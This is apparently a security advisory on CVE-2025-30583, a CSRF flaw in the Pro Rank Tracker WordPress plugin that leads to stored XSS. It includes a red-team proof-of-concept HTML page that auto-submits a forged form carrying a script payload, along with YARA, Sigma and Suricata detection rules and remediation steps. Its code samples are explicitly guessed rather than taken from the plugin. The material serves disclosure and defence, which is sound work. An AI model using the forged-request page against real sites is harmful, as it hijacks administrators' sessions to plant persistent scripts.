CVE-2025-30583

Executive Summary

CVE-2025-30583 is a Cross-Site Request Forgery (CSRF) vulnerability in the Pro Rank Tracker WordPress plugin (proranktracker) by ProRankTracker, affecting versions through 1.0.0. The vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, which can lead to Stored Cross-Site Scripting (XSS). This means an attacker can inject malicious scripts that persist on the site, potentially compromising other users or stealing sensitive data. The CVSS score is 7.1 (High), and no patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the vendor and consider disabling the plugin until a patch is released. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. The combination of CSRF leading to Stored XSS allows an attacker to perform actions as an admin and inject persistent malicious scripts, which can lead to account takeover, data theft, or further compromise.

Deep Dive & Mechanics

The vulnerability exists in the Pro Rank Tracker plugin, which likely handles user input (e.g., tracking keywords, settings) without proper CSRF tokens. An attacker can craft a malicious request that, when executed by an authenticated admin, modifies plugin settings or injects malicious JavaScript into the database. This stored XSS then executes when other users (including the admin) view the affected page.

Root Cause: Lack of CSRF nonce validation in admin actions, combined with insufficient output sanitization, allowing stored XSS.

Attack Flow:

1. Attacker crafts a malicious HTML page or email containing a CSRF payload.
2. The victim (authenticated admin) visits the page, triggering a forged request to the WordPress admin.
3. The request modifies a plugin setting or adds a new entry containing malicious JavaScript.
4. The injected script executes in the context of the admin panel, potentially stealing cookies, redirecting users, or performing further actions.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable plugin likely has code similar to:

Vulnerable Code (PHP):

// No CSRF check
if ( isset( $_POST['prt_keyword'] ) ) {
    update_option( 'prt_keyword', $_POST['prt_keyword'] );
}

Patched Code (Hypothetical):

// Add nonce verification
if ( isset( $_POST['prt_keyword'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'prt_save_keyword' ) ) {
    update_option( 'prt_keyword', sanitize_text_field( $_POST['prt_keyword'] ) );
}

The patch would require:

• Adding a CSRF nonce field in the form.
• Validating the nonce on submission.
• Sanitizing and escaping output to prevent XSS.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with Pro Rank Tracker <= 1.0.0 installed and an admin user logged in.
• Ability to host a malicious HTML page or send a crafted email.

Exploit Steps:

1. Create a malicious HTML page that auto-submits a form to the WordPress admin:

<html>
<body>
<form id="csrf" action="http://target.com/wp-admin/admin-post.php" method="POST">
  <input type="hidden" name="action" value="prt_save_settings">
  <input type="hidden" name="prt_keyword" value="<script>alert('XSS')</script>">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. Host the page and send the link to the victim admin.
3. Once the admin visits the page, the form auto-submits, injecting the XSS payload.
4. The stored XSS executes when the admin views the settings page.

Blue Team (Defender)

Detection:

• Monitor for unusual POST requests to admin-post.php with action parameters related to Pro Rank Tracker.
• Look for unexpected changes to plugin settings or options table entries containing script tags.
• Use web application firewalls (WAF) to block requests with obvious XSS payloads.

Prevention:

• Disable the plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to mitigate XSS.
• Educate admins to avoid clicking suspicious links while logged in.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-post.php with parameters like action=prt_save_settings and prt_keyword=<script>....
• File: Modified entries in the wp_options table containing JavaScript payloads.
• Log: Unusual admin activity logs showing changes to plugin settings without corresponding nonce validation.
• Behavior: Unexpected pop-ups or redirects on admin pages.

Detection Engineering

YARA Rule

rule CVE_2025_30583_CSRF_XSS {
    meta:
        description = "Detects CSRF-based stored XSS in Pro Rank Tracker plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30583"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $prt_action = "prt_save_settings"
    condition:
        $prt_action and $xss_payload
}

Sigma Rule

title: CSRF to Stored XSS in Pro Rank Tracker
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts targeting Pro Rank Tracker plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-post.php'
        cs-params|contains: 'action=prt_save_settings'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30583 - CSRF to Stored XSS in Pro Rank Tracker"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=prt_save_settings"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review admin logs for any signs of exploitation.
3. Change all admin passwords and invalidate existing sessions.

Long-term Fix:

• The vendor must release a patched version that includes CSRF nonce validation and proper output sanitization.
• Users should update to the latest version once available.

Workarounds:

• Implement a Web Application Firewall (WAF) rule to block requests with script tags in POST parameters.
• Use a security plugin that adds CSRF protection to all admin actions.

Valters IT
Securing Digital Frontiers